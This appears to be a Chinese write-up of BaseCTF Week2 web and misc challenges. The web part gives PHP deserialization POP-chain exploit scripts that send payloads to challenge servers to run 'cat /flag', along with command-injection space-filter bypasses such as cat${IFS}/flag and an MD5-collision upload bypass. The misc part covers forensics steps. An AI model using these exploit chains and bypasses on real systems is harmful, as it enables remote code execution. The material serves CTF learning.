Week2
Web
[Week2] 一起吃豆豆

[Week2] 你听不到我的声音
无回显RCE
参考博客:
- BMZCTF:shell_exec_ctf exec(command:“ls >> 1.txt”)-CSDN博客
- RCE绕过之无回显_ctf无回显rce-CSDN博客


[Week2] ez_ser
PHP反序列化。
参考博客:[https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/](https://fushuling.com/index.php/2023/01/15/pop%e4%b8%80%e5%91%bd%e9%80%9a%e5%85%b3/)
编写EXP脚本:
<?php
// highlight_file(__FILE__);
// error_reporting(0);
class re
{
public $chu0;
public function __toString() // 在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况
{
if (!isset($this->chu0)) {
return "I can not believes!";
}
$this->chu0->$nononono;
}
}
class web
{
public $kw;
public $dt;
public function __wakeup() // 创建对象时自动调用__wakeup()函数
{
echo "lalalla" . $this->kw;
}
public function __destruct() //对象所在的函数已调用完毕),系统自动执行析构函数
{
echo "ALL Done!";
}
}
class pwn
{
public $dusk;
public $over;
public function __get($name) // 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
{
if ($this->dusk != "gods") {
echo "什么,你竟敢不认可?";
}
$this->over->getflag();
}
}
class Misc
{
public $nothing;
public $flag;
public function getflag()
{
eval("system('cat /flag');");
}
}
class Crypto
{
public function __wakeup() // 创建对象时自动调用__wakeup()函数
{
echo "happy happy happy!";
}
public function getflag()
{
echo "you are over!";
}
}
//反序列化的链子
// Web的__wakeup() -> __toString() -> $nononono -> __get() -> getflag()
// 构建对象并设置其属性
$re = new re();
$pwn = new pwn();
// $misc = new Misc();
$crypto = new Crypto();
# 触发Web的__wakeup
$web = new web();
# 触发__toString()
$web -> kw = $re;
# 触发__get()
$re -> chu0 = $pwn;
$pwn -> dusk = "gods";
$pwn -> over = new Misc();
// 序列化对象
$payload = urlencode(serialize($web));
echo $payload ."\n";
// 构造 URL,将 Payload 传递给目标网站
$url = "http://challenge.basectf.fun:32538/?ser=" . $payload;
// 发送 GET 请求,触发反序列化漏洞
$response = file_get_contents($url);
// 输出响应
echo $response;


代码分析
- 类定义:
class re: 拥有一个属性chu0,并实现了__toString方法,当对象被当做字符串使用时会调用此方法。如果chu0未被设置,则返回"I can not believes!"。如果chu0被设置,则尝试调用其一个未定义的属性$nononono上的方法。class web: 拥有两个属性kw和dt,并定义了__wakeup和__destruct方法。__wakeup在反序列化时会被调用,输出"lalalla"和kw。__destruct在对象销毁时被调用,输出"ALL Done!"。class pwn: 拥有两个属性dusk和over,并重载了__get方法。当访问未定义的属性时,会调用__get方法。如果dusk不是"gods",输出"什么,你竟敢不认可?"。然后调用over对象的getflag方法。class Misc: 拥有两个属性nothing和flag,并定义了getflag方法,运行system('cat /flag');。class Crypto: 定义了__wakeup和getflag方法,__wakeup在反序列化时输出"happy happy happy!“,getflag输出"you are over!”。
- 反序列化
$ser = $_GET['ser'];: 从GET请求中获取序列化的字符串。unserialize($ser);: 反序列化该字符串。
反序列化利用
为了利用反序列化的漏洞来执行Misc类中的getflag方法,我们需要构造一个适当的序列化字符串。我们可以通过以下步骤来构造:
- 创建一个
pwn类的对象。 - 设定其
dusk属性为"gods"。 - 设定其
over属性为一个Misc类的对象。
[Week2] RCEisamazingwithspace

在这个PHP代码中,用户输入的命令被限制不能包含空格(即空白字符),因为使用了正则表达式 preg_match('/\s/', $cmd) 来检查。如果命令中包含空格字符,则会输出 “Space not allowed in command” 并退出。然后使用 system($cmd) 执行命令。
要绕过这个限制执行一个命令获取flag,你可以利用以下几种方法:
1. 使用URL编码和替代字符
某些符号可以在命令解析时替代空格。以下是一些常见的方法:
使用分号
分号可以用来分隔多个命令:
cmd1;cmd2
你可以用分号来分隔命令,比如:
cat;/flag
然而这样会被直接检测为空格的存在而被阻止。
使用${IFS}变量
在Bash中,${IFS}代表内部字段分隔符,默认是空格、制表符和换行符。你可以利用它来绕过空格检查:
cat${IFS}/flag
2. 使用环境变量
某些情况下,你可以使用环境变量来构造命令,例如:
${PATH:0:1}bin${PATH:0:1}cat${PATH:0:1}flag
这将会解析为 /bin/cat /flag。
3. 使用命令替代(不包含空格)
你可以使用命令替代短命令来获取flag。例如:
如果目标服务器允许访问/proc文件系统,你可以尝试以下命令:
cat</flag
这样避免了使用空格。
4. 使用目录路径替代空格
某些情况下,你可以利用路径替代空格。例如:
cat</flag
示例代码
假设你希望通过POST请求发送命令,可以尝试以下PHP重现这种绕过的例子:
<?php
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if (preg_match('/\s/', $cmd)) {
echo 'Space not allowed in command';
exit;
}
system($cmd);
?>
然后你可以使用上面提到的方法,比如:
cat${IFS}/flag
来进行测试。
CURL请求示例
使用 curl 发送POST请求测试:
curl -X POST -d "cmd=cat${IFS}/flag" http://target.url/path/to/script.php
通过这种方法,你可以绕过空格检查并执行命令来获取flag。请注意,根据实际服务器配置和安全措施,可能需要调整策略。务必确保你有合法权限和授权进行这类测试。
[Week2] Happy Birthday
首先检查是否是PDF文件,修改Content-Type

然后检查两个文件的内容是否一致,一致不给过,不一致才给过
但是内容不一致之后会检查MD5是否一致,MD5一致才给过
众所周知,内容的变化就会导致MD5的变化,所以只能用fastcoll_v1.0.0.5.exe来生成两个内容不一样的文件,但是MD5一样的文件来绕过,参考博客:【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞_fastcoll工具-CSDN博客
然后将这两个文件上传获得flag

[Week2] Really EZ POP
EXP:
<?php
// highlight_file(__FILE__);
class Sink
{
private $cmd = 'echo `cat /flag`;';
public function __toString() // 在类的对象被当作字符串操作的时候自动被调用,一般来说就是echo $this->f1 . ‘xxxx’;这种情况
{
eval($this->cmd);
}
}
class Shark
{
private $word = 'Hello, World!';
public function __invoke() //以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用,CTF中最常见的触发情况就是出现($this–>m1)()这种形式的调用时,被处理后就可以成功调用__invoke()
{
echo 'Shark says:' . $this->word;
}
public function setWord($word) // 使用公共方法设置私有属性
{
$this->word = $word;
}
}
class Sea
{
public $animal;
public function __get($name) // 读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
{
$sea_ani = $this->animal;
echo 'In a deep deep sea, there is a ' . $sea_ani();
}
}
class Nature
{
public $sea;
public function __destruct() //对象所在的函数已调用完毕),系统自动执行析构函数
{
echo $this->sea->see;
}
}
//反序列化的链子
// __destruct() -> __get() -> __invoke() -> __toString() -> eval($this->cmd)
// 构建对象并设置其属性
$sink = new Sink();
$shark = new Shark();
$sea = new Sea();
// 触发__destruct()
$nature = new Nature();
//触发__get()
$nature -> sea = $sea;
//触发__invoke()
$sea -> animal = $shark;
//触发 __toString()
$shark->setWord($sink); // 通过公共方法设置私有属性
// 修改 cmd 命令
$payload = urlencode(serialize($nature));
echo $payload . "\n";
// 将Payload发送到目标网站
$data = [
'nature' => $payload,
];
$url = 'http://challenge.basectf.fun:27759/'; // 替换成目标网站的URL
$options = [
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query($data),
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);
// 输出响应
echo $response;
//生成的payload为:O%3A6%3A%22Nature%22%3A1%3A%7Bs%3A3%3A%22sea%22%3BO%3A3%3A%22Sea%22%3A1%3A%7Bs%3A6%3A%22animal%22%3BO%3A5%3A%22Shark%22%3A1%3A%7Bs%3A11%3A%22%00Shark%00word%22%3BO%3A4%3A%22Sink%22%3A1%3A%7Bs%3A9%3A%22%00Sink%00cmd%22%3Bs%3A17%3A%22echo+%60cat+%2Fflag%60%3B%22%3B%7D%7D%7D%7D
//URL解码为:O:6:"Nature":1:{s:3:"sea";O:3:"Sea":1:{s:6:"animal";O:5:"Shark":1:{s:11:"Sharkword";O:4:"Sink":1:{s:9:"Sinkcmd";s:17:"echo+`cat+/flag`;";}}}}

Misc
[Week2] 前辈什么的最喜欢了
Base64转图片——>PNG宽高一把梭
在线Base64转图片 (lddgo.net)





[Week2] 二维码1-街头小广告

[Week2] 海上又遇了鲨鱼
参考博客:Wireshark使用指南之重组FTP会话,提取FTP传输原始数据_提取每个 ftp-data 包中的数据流,拼接为一个完整文件-CSDN博客
发现flag.zip

追踪TCP流到19个流,发现压缩包的文件头和内容

保存原始数据为flag.zip

提示需要解压密码

第16个流有密码Ba3eBa3e!@#


[Week2] Aura 酱的旅行日记 <图寻擂台>
谷歌识图

百度百科

[Week2] 哇!珍德食泥鸭
foremost ikun.gif -o out
获得一个docx文档,移开白色图片获得flag,或者全选,然后复制粘贴到记事本可以看到flag


[Week2] Base?!
在线XXencode编码|在线XXencode解码|XX编码|XX解码|XXencode编码原理介绍–查错网 (chacuo.net)
XXencode




















